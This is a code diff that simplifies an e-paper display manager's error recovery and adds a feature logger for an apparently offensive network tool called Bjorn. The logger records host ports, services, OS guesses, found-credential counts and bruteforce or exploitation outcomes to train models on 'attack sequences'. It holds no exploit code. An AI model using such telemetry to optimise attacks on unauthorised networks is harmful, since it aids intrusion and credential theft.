self.recovery_failures = 0 - def _safe_call(self, func, *args, timeout=None, **kwargs): - """ - Execute EPD function with timeout and error handling - CRITICAL: Uses threading to implement timeout - """ - if timeout is None: - timeout = self.OPERATION_TIMEOUT - - with EPDManager._lock: + self._load_driver() + self._initialized = True + + # ------------------------------------------------------------------ driver + + def _load_driver(self): + debug_log(f"Loading EPD driver {self.epd_type}", "info") + epd_module_name = f"resources.waveshare_epd.{self.epd_type}" + epd_module = importlib.import_module(epd_module_name) + self.epd = epd_module.EPD() + + # ------------------------------------------------------------------ calls + + def _safe_call(self, func, *args, **kwargs): + with EPDManager._spi_lock: self.total_operations += 1 - self.operation_start_time = time.time() - - debug_log(f"Executing operation #{self.total_operations}: {func.__name__} (timeout={timeout}s)") - - # Execute in separate thread to allow timeout - result_container = {'result': None, 'error': None, 'completed': False} - - def execute_operation(): - try: - result_container['result'] = func(*args, **kwargs) - result_container['completed'] = True - except Exception as e: - result_container['error'] = e - result_container['completed'] = True - - operation_thread = threading.Thread(target=execute_operation, daemon=True) - operation_thread.start() - operation_thread.join(timeout=timeout) - - operation_time = time.time() - self.operation_start_time - - # Check if operation completed - if not result_container['completed']: - # TIMEOUT occurred - self.timeout_count += 1 + started = time.monotonic() + try: + result = func(*args, **kwargs) + except Exception as exc: self.error_count += 1 - logger.error(f"EPD operation TIMEOUT after {timeout}s (timeout #{self.timeout_count})") - - # Perform recovery if too many timeouts - if self.error_count >= self.MAX_CONSECUTIVE_ERRORS: - return self._perform_recovery(func, args, kwargs, - TimeoutError(f"Operation timed out after {timeout}s")) - else: - raise TimeoutError(f"EPD operation timed out after {timeout}s") - - # Check if operation had an error - if result_container['error'] is not None: - self.error_count += 1 - logger.error(f"EPD operation failed (error #{self.error_count}): {result_container['error']}") - debug_log(f"Failed operation took {operation_time:.3f}s", 'error') - - # Check if we need to perform recovery - if self.error_count >= self.MAX_CONSECUTIVE_ERRORS: - return self._perform_recovery(func, args, kwargs, result_container['error']) - else: - # Simple retry without full reset - return self._simple_retry(func, args, kwargs, result_container['error']) - - # Operation successful + self.last_error_time = time.time() + logger.error(f"EPD operation failed ({func.__name__}): {exc}") + + if self.error_count < self.MAX_CONSECUTIVE_ERRORS: + return self._simple_retry(func, args, kwargs, exc) + + return self._perform_recovery(func, args, kwargs, exc) + self.successful_operations += 1 self.error_count = 0 - - debug_log(f"Operation completed successfully in {operation_time:.3f}s", 'info') - return result_container['result'] + self.last_operation_duration = time.monotonic() - started + self.total_operation_duration += self.last_operation_duration + return result def _simple_retry(self, func, args, kwargs, original_error): - """Attempt simple retry without full reset""" - debug_log("Attempting simple retry after error", 'warning') - + time.sleep(0.3) try: - time.sleep(0.5) # Brief delay before retry - - # Use shorter timeout for retry - result_container = {'result': None, 'error': None, 'completed': False} - - def execute_retry(): - try: - result_container['result'] = func(*args, **kwargs) - result_container['completed'] = True - except Exception as e: - result_container['error'] = e - result_container['completed'] = True - - retry_thread = threading.Thread(target=execute_retry, daemon=True) - retry_thread.start() - retry_thread.join(timeout=self.OPERATION_TIMEOUT) - - if result_container['completed'] and result_container['error'] is None: - debug_log("Simple retry successful", 'info') - self.error_count = 0 - self.successful_operations += 1 - return result_container['result'] - - # Retry failed - logger.error(f"Simple retry failed: {result_container.get('error', 'timeout')}") - raise original_error - - except Exception as e: - logger.error(f"Simple retry failed: {e}") + result = func(*args, **kwargs) + self.successful_operations += 1 + self.error_count = 0 + return result + except Exception as retry_error: + logger.error(f"EPD retry failed ({func.__name__}): {retry_error}") raise original_error def _perform_recovery(self, func, args, kwargs, original_error): - """Perform full recovery with hard reset""" - current_time = time.time() - time_since_last_reset = current_time - self.last_reset - - debug_log(f"Too many errors ({self.error_count}), initiating recovery", 'warning') - - # Enforce cooldown between resets - if time_since_last_reset < self.RESET_COOLDOWN: - wait_time = self.RESET_COOLDOWN - time_since_last_reset - logger.warning(f"Reset cooldown active, waiting {wait_time:.1f}s") - time.sleep(wait_time) - - # Attempt hard reset + now = time.time() + wait_s = max(0.0, self.RESET_COOLDOWN - (now - self.last_reset)) + if wait_s > 0: + time.sleep(wait_s) + + self.recovery_attempts += 1 try: - debug_log("Performing hard reset...", 'warning') self.hard_reset() + result = func(*args, **kwargs) + self.successful_operations += 1 self.error_count = 0 - - # Retry operation after reset with timeout - debug_log("Retrying operation after hard reset") - - result_container = {'result': None, 'error': None, 'completed': False} - - def execute_after_reset(): - try: - result_container['result'] = func(*args, **kwargs) - result_container['completed'] = True - except Exception as e: - result_container['error'] = e - result_container['completed'] = True - - reset_retry_thread = threading.Thread(target=execute_after_reset, daemon=True) - reset_retry_thread.start() - reset_retry_thread.join(timeout=self.OPERATION_TIMEOUT) - - if result_container['completed'] and result_container['error'] is None: - debug_log("Recovery successful", 'info') - self.successful_operations += 1 - return result_container['result'] - - # Recovery failed - logger.critical(f"Recovery failed: {result_container.get('error', 'timeout')}") - - except Exception as e: - logger.critical(f"Recovery failed catastrophically: {e}") - - # Calculate success rate - if self.total_operations > 0: - success_rate = (self.successful_operations / self.total_operations) * 100 - logger.error(f"EPD success rate: {success_rate:.1f}% " - f"({self.successful_operations}/{self.total_operations}), " - f"timeouts: {self.timeout_count}") - - self.error_count = 0 # Reset to prevent infinite recovery attempts - raise original_error + return result + except Exception as exc: + self.recovery_failures += 1 + logger.critical(f"EPD recovery failed: {exc}") + self.error_count = 0 + raise original_error - def hard_reset(self): - """ - Perform complete hardware and software reset with timeout protection - """ - debug_log("Starting hard reset sequence", 'warning') - - reset_start = time.time() - - try: - # Step 1: Clean shutdown of existing SPI connection - debug_log("Step 1: Closing existing SPI connection") - try: - if hasattr(self.epd, 'epdconfig'): - self.epd.epdconfig.module_exit() - time.sleep(0.5) - except Exception as e: - debug_log(f"Error during SPI shutdown: {e}", 'warning') - - # Step 2: Hardware reset - debug_log("Step 2: Hardware reset") - try: - self.epd.reset() - time.sleep(0.2) - except Exception as e: - debug_log(f"Error during hardware reset: {e}", 'warning') - - # Step 3: Reset initialization flags - debug_log("Step 3: Resetting initialization flags") - self.epd.is_initialized = False - if hasattr(self.epd, 'is_partial_configured'): - self.epd.is_partial_configured = False - - # Step 4: Reinitialize SPI with timeout - debug_log("Step 4: Reinitializing SPI") - if hasattr(self.epd, 'epdconfig'): - def reinit_spi(): - ret = self.epd.epdconfig.module_init() - if ret != 0: - raise RuntimeError("SPI reinitialization failed") - time.sleep(0.5) - - reinit_thread = threading.Thread(target=reinit_spi, daemon=True) - reinit_thread.start() - reinit_thread.join(timeout=5.0) - - if reinit_thread.is_alive(): - raise TimeoutError("SPI reinitialization timed out") - - # Step 5: Reinitialize EPD with timeout - debug_log("Step 5: Reinitializing EPD") - - def reinit_epd(): - self.epd.init() - - epd_init_thread = threading.Thread(target=reinit_epd, daemon=True) - epd_init_thread.start() - epd_init_thread.join(timeout=self.INIT_TIMEOUT) - - if epd_init_thread.is_alive(): - raise TimeoutError("EPD reinitialization timed out") - - # Update reset timestamp - self.last_reset = time.time() - reset_duration = self.last_reset - reset_start - - logger.warning(f"EPD hard reset completed successfully in {reset_duration:.2f}s") - debug_log("Hard reset sequence complete", 'info') - - except Exception as e: - logger.critical(f"Hard reset failed catastrophically: {e}") - raise - - def check_health(self): - """ - Check EPD manager health status - Returns: dict with health metrics - """ - current_time = time.time() - uptime = current_time - self.last_reset - - if self.total_operations > 0: - success_rate = (self.successful_operations / self.total_operations) * 100 - else: - success_rate = 100.0 - - health = { - 'uptime_seconds': uptime, - 'total_operations': self.total_operations, - 'successful_operations': self.successful_operations, - 'success_rate': success_rate, - 'consecutive_errors': self.error_count, - 'timeout_count': self.timeout_count, - 'last_reset': self.last_reset, - 'is_healthy': self.error_count == 0 and success_rate > 95.0 - } - - debug_log(f"Health check: {health}", 'info') - return health - - # ======================================================================== - # Public API Methods with Timeout Protection - # ======================================================================== + # -------------------------------------------------------------- public api def init_full_update(self): - """Initialize EPD for full update mode""" - debug_log("API: init_full_update", 'info') - return self._safe_call(self._init_full, timeout=self.INIT_TIMEOUT) + return self._safe_call(self._init_full) def init_partial_update(self): - """Initialize EPD for partial update mode""" - debug_log("API: init_partial_update") - return self._safe_call(self._init_partial, timeout=self.INIT_TIMEOUT) + return self._safe_call(self._init_partial) def display_partial(self, image): - """Display image using partial update""" - debug_log("API: display_partial") return self._safe_call(self._display_partial, image) def display_full(self, image): - """Display image using full update""" - debug_log("API: display_full", 'info') return self._safe_call(self._display_full, image) def clear(self): - """Clear display""" - debug_log("API: clear", 'info') return self._safe_call(self._clear) def sleep(self): - """Put display to sleep""" - debug_log("API: sleep", 'info') - return self._safe_call(self._sleep, timeout=5.0) + return self._safe_call(self._sleep) - # ======================================================================== - # Protected Implementation Methods - # ======================================================================== + def check_health(self): + uptime = time.time() - self.last_reset + success_rate = 100.0 + avg_ms = 0.0 + + if self.total_operations > 0: + success_rate = (self.successful_operations / self.total_operations) * 100.0 + avg_ms = (self.total_operation_duration / self.total_operations) * 1000.0 + + return { + "uptime_seconds": round(uptime, 3), + "total_operations": int(self.total_operations), + "successful_operations": int(self.successful_operations), + "success_rate": round(success_rate, 2), + "consecutive_errors": int(self.error_count), + "timeout_count": int(self.timeout_count), + "last_reset": self.last_reset, + "last_operation_duration_ms": round(self.last_operation_duration * 1000.0, 2), + "avg_operation_duration_ms": round(avg_ms, 2), + "recovery_attempts": int(self.recovery_attempts), + "recovery_failures": int(self.recovery_failures), + "is_healthy": self.error_count == 0, + } + + # ------------------------------------------------------------- impl methods def _init_full(self): - """Initialize for full update (protected)""" - debug_log("Initializing full update mode") - if hasattr(self.epd, "FULL_UPDATE"): self.epd.init(self.epd.FULL_UPDATE) elif hasattr(self.epd, "lut_full_update"): self.epd.init(self.epd.lut_full_update) else: self.epd.init() - - debug_log("Full update mode initialized") def _init_partial(self): - """Initialize for partial update (protected)""" - debug_log("Initializing partial update mode") - if hasattr(self.epd, "PART_UPDATE"): self.epd.init(self.epd.PART_UPDATE) elif hasattr(self.epd, "lut_partial_update"): self.epd.init(self.epd.lut_partial_update) else: self.epd.init() - - debug_log("Partial update mode initialized") def _display_partial(self, image): - """Display using partial update (protected)""" - debug_log("Executing partial display") - if hasattr(self.epd, "displayPartial"): self.epd.displayPartial(self.epd.getbuffer(image)) else: - debug_log("No displayPartial method, using standard display", 'warning') self.epd.display(self.epd.getbuffer(image)) def _display_full(self, image): - """Display using full update (protected)""" - debug_log("Executing full display") self.epd.display(self.epd.getbuffer(image)) def _clear(self): - """Clear display (protected)""" - debug_log("Clearing display") - if hasattr(self.epd, "Clear"): self.epd.Clear() - else: - debug_log("No Clear method, displaying white image", 'warning') - w, h = self.epd.width, self.epd.height - blank = Image.new("1", (w, h), 255) + return + + w, h = self.epd.width, self.epd.height + blank = Image.new("1", (w, h), 255) + try: self._display_partial(blank) + finally: + blank.close() def _sleep(self): - """Put display to sleep (protected)""" - debug_log("Putting display to sleep") - if hasattr(self.epd, "sleep"): self.epd.sleep() - else: - debug_log("No sleep method available", 'warning') + + def hard_reset(self, force: bool = False): + with EPDManager._spi_lock: + started = time.monotonic() + try: + if self.epd and hasattr(self.epd, "epdconfig"): + try: + self.epd.epdconfig.module_exit(cleanup=True) + except TypeError: + self.epd.epdconfig.module_exit() + except Exception as exc: + logger.warning(f"EPD module_exit during reset failed: {exc}") + + self._load_driver() + + # Validate the new driver with a full init. + if hasattr(self.epd, "FULL_UPDATE"): + self.epd.init(self.epd.FULL_UPDATE) + else: + self.epd.init() + + self.last_reset = time.time() + self.error_count = 0 + if force: + logger.warning( + f"EPD forced hard reset completed in {time.monotonic() - started:.2f}s" + ) + else: + logger.warning( + f"EPD hard reset completed in {time.monotonic() - started:.2f}s" + ) + except Exception as exc: + logger.critical(f"EPD hard reset failed: {exc}") + raise -### END OF FILE ### \ No newline at end of file +### END OF FILE ### diff --git a/feature_logger.py b/feature_logger.py new file mode 100644 index 0000000..a5beeda --- /dev/null +++ b/feature_logger.py @@ -0,0 +1,762 @@ +""" +feature_logger.py - Dynamic Feature Logging Engine for Bjorn +═══════════════════════════════════════════════════════════════════════════ + +Purpose: + Automatically capture ALL relevant features from action executions + for deep learning model training. No manual feature declaration needed. + +Architecture: + - Automatic feature extraction from all data sources + - Time-series aggregation + - Network topology features + - Action success patterns + - Lightweight storage optimized for Pi Zero + - Export format ready for deep learning + +Author: Bjorn Team (Enhanced AI Version) +Version: 2.0.0 +""" + +import json +import time +import hashlib +import random +from datetime import datetime, timedelta +from typing import Dict, List, Any, Optional, Tuple +from collections import defaultdict, deque +from logger import Logger + +logger = Logger(name="feature_logger.py", level=20) + + +class FeatureLogger: + """ + Captures comprehensive features from network reconnaissance + and action execution for deep learning. + """ + + def __init__(self, shared_data): + """Initialize feature logger with database connection""" + self.shared_data = shared_data + self.db = shared_data.db + self._max_hosts_tracked = max( + 64, int(getattr(self.shared_data, "ai_feature_hosts_limit", 512)) + ) + + # Rolling windows for temporal features (memory efficient) + self.recent_actions = deque(maxlen=100) + self.host_history = defaultdict(lambda: deque(maxlen=50)) + + # Initialize feature tables + self._ensure_tables_exist() + + logger.info("FeatureLogger initialized - auto-discovery mode enabled") + + # ═══════════════════════════════════════════════════════════════════════ + # DATABASE SCHEMA + # ═══════════════════════════════════════════════════════════════════════ + + def _ensure_tables_exist(self): + """Create feature logging tables if they don't exist""" + try: + # Main feature log table + self.db.execute(""" + CREATE TABLE IF NOT EXISTS ml_features ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + timestamp TEXT NOT NULL DEFAULT CURRENT_TIMESTAMP, + + -- Identifiers + mac_address TEXT, + ip_address TEXT, + action_name TEXT, + + -- Context features (JSON) + host_features TEXT, -- Vendor, ports, services, etc. + network_features TEXT, -- Topology, neighbors, subnets + temporal_features TEXT, -- Time patterns, sequences + action_features TEXT, -- Action-specific metadata + + -- Outcome + success INTEGER, + duration_seconds REAL, + reward REAL, + + -- Raw event data (for replay) + raw_event TEXT, + + -- Consolidation status + consolidated INTEGER DEFAULT 0, + export_batch_id INTEGER + ) + """) + + # Index for fast queries + self.db.execute(""" + CREATE INDEX IF NOT EXISTS idx_ml_features_mac + ON ml_features(mac_address, timestamp DESC) + """) + + self.db.execute(""" + CREATE INDEX IF NOT EXISTS idx_ml_features_consolidated + ON ml_features(consolidated, timestamp) + """) + + # Aggregated features table (pre-computed for efficiency) + self.db.execute(""" + CREATE TABLE IF NOT EXISTS ml_features_aggregated ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + computed_at TEXT NOT NULL DEFAULT CURRENT_TIMESTAMP, + + mac_address TEXT, + time_window TEXT, -- 'hourly', 'daily', 'weekly' + + -- Aggregated metrics + total_actions INTEGER, + success_rate REAL, + avg_duration REAL, + total_reward REAL, + + -- Action distribution + action_counts TEXT, -- JSON: {action_name: count} + + -- Discovery metrics + new_ports_found INTEGER, + new_services_found INTEGER, + credentials_found INTEGER, + + -- Feature vector (for DL) + feature_vector TEXT, -- JSON array of numerical features + + UNIQUE(mac_address, time_window, computed_at) + ) + """) + + # Export batches tracking + self.db.execute(""" + CREATE TABLE IF NOT EXISTS ml_export_batches ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + created_at TEXT NOT NULL DEFAULT CURRENT_TIMESTAMP, + record_count INTEGER, + file_path TEXT, + status TEXT DEFAULT 'pending', -- pending, exported, transferred + notes TEXT + ) + """) + + logger.info("ML feature tables initialized") + + except Exception as e: + logger.error(f"Failed to create ML tables: {e}") + + # ═══════════════════════════════════════════════════════════════════════ + # AUTOMATIC FEATURE EXTRACTION + # ═══════════════════════════════════════════════════════════════════════ + + def log_action_execution( + self, + mac_address: str, + ip_address: str, + action_name: str, + success: bool, + duration: float, + reward: float, + raw_event: Dict[str, Any] + ): + """ + Log a complete action execution with automatically extracted features. + + Args: + mac_address: Target MAC address + ip_address: Target IP address + action_name: Name of executed action + success: Whether action succeeded + duration: Execution time in seconds + reward: Calculated reward value + raw_event: Complete event data (for replay/debugging) + """ + try: + # Shield against missing MAC + if not mac_address: + logger.debug("Skipping ML log: missing MAC address") + return + + # Extract features from multiple sources + host_features = self._extract_host_features(mac_address, ip_address) + network_features = self._extract_network_features(mac_address) + temporal_features = self._extract_temporal_features(mac_address, action_name) + action_features = self._extract_action_features(action_name, raw_event) + + # Store in database + self.db.execute(""" + INSERT INTO ml_features ( + mac_address, ip_address, action_name, + host_features, network_features, temporal_features, action_features, + success, duration_seconds, reward, raw_event + ) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) + """, ( + mac_address, ip_address, action_name, + json.dumps(host_features), + json.dumps(network_features), + json.dumps(temporal_features), + json.dumps(action_features), + 1 if success else 0, + duration, + reward, + json.dumps(raw_event) + )) + + # Update rolling windows + self.recent_actions.append({ + 'mac': mac_address, + 'action': action_name, + 'success': success, + 'timestamp': time.time() + }) + + self.host_history[mac_address].append({ + 'action': action_name, + 'success': success, + 'timestamp': time.time() + }) + self._prune_host_history() + + logger.debug( + f"Logged features for {action_name} on {mac_address} " + f"(success={success}, features={len(host_features)}+{len(network_features)}+" + f"{len(temporal_features)}+{len(action_features)})" + ) + + # Prune old database records to save disk space (keep last 1000) + if random.random() < 0.05: # 5% chance to prune to avoid overhead every hit + self._prune_database_records() + + except Exception as e: + logger.error(f"Failed to log action execution: {e}") + + def _prune_host_history(self): + """Bound host_history keys to avoid unbounded growth over very long runtimes.""" + try: + current_size = len(self.host_history) + if current_size <= self._max_hosts_tracked: + return + + overflow = current_size - self._max_hosts_tracked + ranked = [] + for mac, entries in self.host_history.items(): + if entries: + ranked.append((entries[-1]['timestamp'], mac)) + else: + ranked.append((0.0, mac)) + ranked.sort(key=lambda x: x[0]) # oldest first + + for _, mac in ranked[:overflow]: + self.host_history.pop(mac, None) + except Exception: + pass + + def _prune_database_records(self, limit: int = 1000): + """Keep the ml_features table within a reasonable size limit.""" + try: + self.db.execute(f""" + DELETE FROM ml_features + WHERE id NOT IN ( + SELECT id FROM ml_features + ORDER BY timestamp DESC + LIMIT {limit} + ) + """) + except Exception as e: + logger.debug(f"Failed to prune ml_features: {e}") + + def _extract_host_features(self, mac: str, ip: str) -> Dict[str, Any]: + """ + Extract features about the target host. + Auto-discovers all relevant attributes from database. + """ + features = {} + + try: + # Get host data + host = self.db.get_host_by_mac(mac) + if not host: + return features + + # Basic identifiers (hashed for privacy if needed) + features['mac_hash'] = hashlib.md5(mac.encode()).hexdigest()[:8] + features['vendor_oui'] = mac[:8].upper() if mac else None + + # Vendor classification + vendor = host.get('vendor', '') + features['vendor'] = vendor + features['vendor_category'] = self._categorize_vendor(vendor) + + # Network interfaces + ips = [p.strip() for p in (host.get('ips', '') or '').split(';') if p.strip()] + features['ip_count'] = len(ips) + features['has_multiple_ips'] = len(ips) > 1 + + # Subnet classification + if ips: + features['subnet'] = '.'.join(ips[0].split('.')[:3]) + '.0/24' + features['is_private'] = self._is_private_ip(ips[0]) + + # Open ports + ports_str = host.get('ports', '') or '' + ports = [int(p) for p in ports_str.split(';') if p.strip().isdigit()] + features['port_count'] = len(ports) + features['ports'] = sorted(ports)[:20] # Limit to top 20 + + # Port profiles (auto-detect common patterns) + features['port_profile'] = self._detect_port_profile(ports) + features['has_ssh'] = 22 in ports + features['has_http'] = 80 in ports or 8080 in ports + features['has_https'] = 443 in ports + features['has_smb'] = 445 in ports + features['has_rdp'] = 3389 in ports + features['has_database'] = any(p in ports for p in [3306, 5432, 1433, 27017]) + + # Services detected + services = self._get_services_for_host(mac) + features['service_count'] = len(services) + features['services'] = services + + # Hostnames + hostnames = [h.strip() for h in (host.get('hostnames', '') or '').split(';') if h.strip()] + features['hostname_count'] = len(hostnames) + if hostnames: + features['primary_hostname'] = hostnames[0] + features['hostname_hints'] = self._extract_hostname_hints(hostnames[0]) + + # First/last seen + features['first_seen'] = host.get('first_seen') + features['last_seen'] = host.get('last_seen') + + # Calculate age + if host.get('first_seen'): + ts = host['first_seen'] + if isinstance(ts, str): + try: + first_seen_dt = datetime.fromisoformat(ts) + except ValueError: + # Fallback for other formats if needed + first_seen_dt = datetime.now() + elif isinstance(ts, datetime): + first_seen_dt = ts + else: + first_seen_dt = datetime.now() + + age_hours = (datetime.now() - first_seen_dt).total_seconds() / 3600 + features['age_hours'] = round(age_hours, 2) + features['is_new'] = age_hours < 24 + + # Credentials found + creds = self._get_credentials_for_host(mac) + features['credential_count'] = len(creds) + features['has_credentials'] = len(creds) > 0 + + # OS fingerprinting hints + features['os_hints'] = self._guess_os(vendor, ports, hostnames) + + except Exception as e: + logger.error(f"Error extracting host features: {e}") + + return features + + def _extract_network_features(self, mac: str) -> Dict[str, Any]: + """ + Extract network topology and relationship features. + Discovers patterns in the network structure. + """ + features = {} + + try: + # Get all hosts + all_hosts = self.db.get_all_hosts() + + # Network size + features['total_hosts'] = len(all_hosts) + + # Subnet distribution + subnet_counts = defaultdict(int) + for h in all_hosts: + ips = [p.strip() for p in (h.get('ips', '') or '').split(';') if p.strip()] + if ips: + subnet = '.'.join(ips[0].split('.')[:3]) + '.0' + subnet_counts[subnet] += 1 + + features['subnet_count'] = len(subnet_counts) + features['largest_subnet_size'] = max(subnet_counts.values()) if subnet_counts else 0 + + # Similar hosts (same vendor) + target_host = self.db.get_host_by_mac(mac) + if target_host: + vendor = target_host.get('vendor', '') + similar = sum(1 for h in all_hosts if h.get('vendor') == vendor) + features['similar_vendor_count'] = similar + + # Port correlation (hosts with similar port profiles) + target_ports = set() + if target_host: + ports_str = target_host.get('ports', '') or '' + target_ports = {int(p) for p in ports_str.split(';') if p.strip().isdigit()} + + if target_ports: + similar_port_hosts = 0 + for h in all_hosts: + if h.get('mac_address') == mac: + continue + ports_str = h.get('ports', '') or '' + other_ports = {int(p) for p in ports_str.split(';') if p.strip().isdigit()} + + # Calculate Jaccard similarity + if other_ports: + intersection = len(target_ports & other_ports) + union = len(target_ports | other_ports) + similarity = intersection / union if union > 0 else 0 + if similarity > 0.5: # >50% similar + similar_port_hosts += 1 + + features['similar_port_profile_count'] = similar_port_hosts + + # Network activity level + recent_hosts = sum(1 for h in all_hosts + if self._is_recently_active(h.get('last_seen'))) + features['active_host_ratio'] = round(recent_hosts / len(all_hosts), 2) if all_hosts else 0 + + except Exception as e: + logger.error(f"Error extracting network features: {e}") + + return features + + def _extract_temporal_features(self, mac: str, action: str) -> Dict[str, Any]: + """ + Extract time-based and sequence features. + Discovers temporal patterns in attack sequences. + """ + features = {} + + try: + # Current time features + now = datetime.now() + features['hour_of_day'] = now.hour + features['day_of_week'] = now.weekday() + features['is_weekend'] = now.weekday() >= 5 + features['is_night'] = now.hour < 6 or now.hour >= 22 + + # Action history for this host + history = list(self.host_history.get(mac, [])) + features['previous_action_count'] = len(history) + + if history: + # Last action + last = history[-1] + features['last_action'] = last['action'] + features['last_action_success'] = last['success'] + features['seconds_since_last'] = round(time.time() - last['timestamp'], 1) + + # Success rate history + successes = sum(1 for h in history if h['success']) + features['historical_success_rate'] = round(successes / len(history), 2) + + # Action sequence + recent_sequence = [h['action'] for h in history[-5:]] + features['recent_action_sequence'] = recent_sequence + + # Repeated action detection + same_action_count = sum(1 for h in history if h['action'] == action) + features['same_action_attempts'] = same_action_count + features['is_retry'] = same_action_count > 0 + + # Global action patterns + recent = list(self.recent_actions) + if recent: + # Action distribution in recent history + action_counts = defaultdict(int) + for a in recent: + action_counts[a['action']] += 1 + + features['most_common_recent_action'] = max( + action_counts.items(), + key=lambda x: x[1] + )[0] if action_counts else None + + # Global success rate + global_successes = sum(1 for a in recent if a['success']) + features['global_success_rate'] = round( + global_successes / len(recent), 2 + ) + + # Time since first seen + host = self.db.get_host_by_mac(mac) + if host and host.get('first_seen'): + ts = host['first_seen'] + if isinstance(ts, str): + try: + first_seen = datetime.fromisoformat(ts) + except ValueError: + first_seen = now + elif isinstance(ts, datetime): + first_seen = ts + else: + first_seen = now + + features['hours_since_discovery'] = round( + (now - first_seen).total_seconds() / 3600, 1 + ) + + except Exception as e: + logger.error(f"Error extracting temporal features: {e}") + + return features + + def _extract_action_features(self, action_name: str, raw_event: Dict) -> Dict[str, Any]: + """ + Extract action-specific features. + Auto-discovers relevant metadata from action execution. + """ + features = {} + + try: + features['action_name'] = action_name + + # Action type classification + features['action_type'] = self._classify_action_type(action_name) + + # Port-specific actions + port = raw_event.get('port') + if port: + features['target_port'] = int(port) + features['is_standard_port'] = int(port) < 1024 + + # Extract any additional metadata from raw event + # This allows actions to add custom features + if 'metadata' in raw_event: + metadata = raw_event['metadata'] + if isinstance(metadata, dict): + # Flatten metadata into features + for key, value in metadata.items(): + if isinstance(value, (int, float, bool, str)): + features[f'meta_{key}'] = value + + # Execution context + features['operation_mode'] = self.shared_data.operation_mode + + except Exception as e: + logger.error(f"Error extracting action features: {e}") + + return features + + # ═══════════════════════════════════════════════════════════════════════ + # HELPER METHODS + # ═══════════════════════════════════════════════════════════════════════ + + def _categorize_vendor(self, vendor: str) -> str: + """Categorize vendor into high-level groups""" + if not vendor: + return 'unknown' + + vendor_lower = vendor.lower() + + categories = { + 'networking': ['cisco', 'juniper', 'ubiquiti', 'mikrotik', 'tp-link', 'netgear', 'asus', 'd-link', 'linksys'], + 'iot': ['hikvision', 'dahua', 'axis', 'hanwha', 'tuya', 'sonoff', 'shelly', 'xiaomi', 'yeelight'], + 'nas': ['synology', 'qnap', 'netapp', 'truenas', 'unraid'], + 'compute': ['raspberry', 'intel', 'apple', 'dell', 'hp', 'lenovo', 'acer'], + 'virtualization': ['vmware', 'microsoft', 'citrix', 'proxmox'], + 'mobile': ['apple', 'samsung', 'huawei', 'xiaomi', 'google', 'oneplus'] + } + + for category, vendors in categories.items(): + if any(v in vendor_lower for v in vendors): + return category + + return 'other' + + def _is_private_ip(self, ip: str) -> bool: + """Check if IP is in private range""" + if not ip: + return False + + parts = ip.split('.') + if len(parts) != 4: + return False + + try: + first = int(parts[0]) + second = int(parts[1]) + + return ( + first == 10 or + (first == 172 and 16 <= second <= 31) or + (first == 192 and second == 168) + ) + except: + return False + + def _detect_port_profile(self, ports: List[int]) -> str: + """Auto-detect device type from port signature""" + if not ports: + return 'unknown' + + port_set = set(ports) + + profiles = { + 'camera': {554, 80, 8000, 37777}, + 'web_server': {80, 443, 8080, 8443}, + 'nas': {5000, 5001, 548, 139, 445}, + 'database': {3306, 5432, 1433, 27017, 6379}, + 'linux_server': {22, 80, 443}, + 'windows_server': {135, 139, 445, 3389}, + 'printer': {9100, 515, 631}, + 'router': {22, 23, 80, 443, 161} + } + + max_overlap = 0 + best_profile = 'generic' + + for profile_name, profile_ports in profiles.items(): + overlap = len(port_set & profile_ports) + if overlap > max_overlap: + max_overlap = overlap + best_profile = profile_name + + return best_profile if max_overlap >= 2 else 'generic' + + def _get_services_for_host(self, mac: str) -> List[str]: + """Get list of detected services for host""" + try: + results = self.db.query(""" + SELECT DISTINCT service + FROM port_services + WHERE mac_address=? + """, (mac,)) + + return [r['service'] for r in results if r.get('service')] + except: + return [] + + def _extract_hostname_hints(self, hostname: str) -> List[str]: + """Extract hints from hostname""" + if not hostname: + return [] + + hints = [] + hostname_lower = hostname.lower() + + keywords = { + 'nas': ['nas', 'storage', 'diskstation'], + 'camera': ['cam', 'ipc', 'nvr', 'dvr'], + 'router': ['router', 'gateway', 'gw'], + 'server': ['server', 'srv', 'host'], + 'printer': ['printer', 'print'], + 'iot': ['iot', 'sensor', 'smart'] + } + + for hint, words in keywords.items(): + if any(word in hostname_lower for word in words): + hints.append(hint) + + return hints + + def _get_credentials_for_host(self, mac: str) -> List[Dict]: + """Get credentials found for host""" + try: + return self.db.query(""" + SELECT service, user, port + FROM creds + WHERE mac_address=? + """, (mac,)) + except: + return [] + + def _guess_os(self, vendor: str, ports: List[int], hostnames: List[str]) -> str: + """Guess OS from available indicators""" + if not vendor and not ports and not hostnames: + return 'unknown' + + vendor_lower = (vendor or '').lower() + port_set = set(ports or []) + hostname = hostnames[0].lower() if hostnames else '' + + # Strong indicators + if 'microsoft' in vendor_lower or 3389 in port_set: + return 'windows' + if 'apple' in vendor_lower or 'mac' in hostname: + return 'macos' + if 'raspberry' in vendor_lower: + return 'linux' + + # Port-based guessing + if {22, 80} <= port_set: + return 'linux' + if {135, 139, 445} <= port_set: + return 'windows' + + # Hostname hints + if any(word in hostname for word in ['ubuntu', 'debian', 'centos', 'rhel']): + return 'linux' + + return 'unknown' + + def _is_recently_active(self, last_seen: Optional[str]) -> bool: + """Check if host was active in last 24h""" + if not last_seen: + return False + + try: + if isinstance(last_seen, str): + last_seen_dt = datetime.fromisoformat(last_seen) + elif isinstance(last_seen, datetime): + last_seen_dt = last_seen + else: + return False + + hours_ago = (datetime.now() - last_seen_dt).total_seconds() / 3600 + return hours_ago < 24 + except: + return False + + def _classify_action_type(self, action_name: str) -> str: + """Classify action into high-level categories""" + action_lower = action_name.lower() + + if 'brute' in action_lower or 'crack' in action_lower: + return 'bruteforce' + elif 'scan' in action_lower or 'enum' in action_lower: + return 'enumeration' + elif 'exploit' in action_lower: + return 'exploitation' + elif 'dump' in action_lower or 'extract' in action_lower: + return 'extraction' + else: + return 'other' + + # ═══════════════════════════════════════════════════════════════════════ + # FEATURE AGGREGATION & EXPORT + # ═══════════════════════════════════════════════════════════════════════ + + def get_stats(self) -> Dict[str, Any]: + """Get current feature logging statistics""" + try: + total = self.db.query("SELECT COUNT(*) as cnt FROM ml_features")[0]['cnt'] + unconsolidated = self.db.query( + "SELECT COUNT(*) as cnt FROM ml_features WHERE consolidated=0" + )[0]['cnt'] + + return { + 'total_features_logged': total, + 'unconsolidated_count': unconsolidated, + 'ready_for_export': unconsolidated, + 'recent_actions_buffer': len(self.recent_actions), + 'hosts_tracked': len(self.host_history) + } + except Exception as e: + logger.error(f"Error getting feature stats: {e}") + return {} + + +# 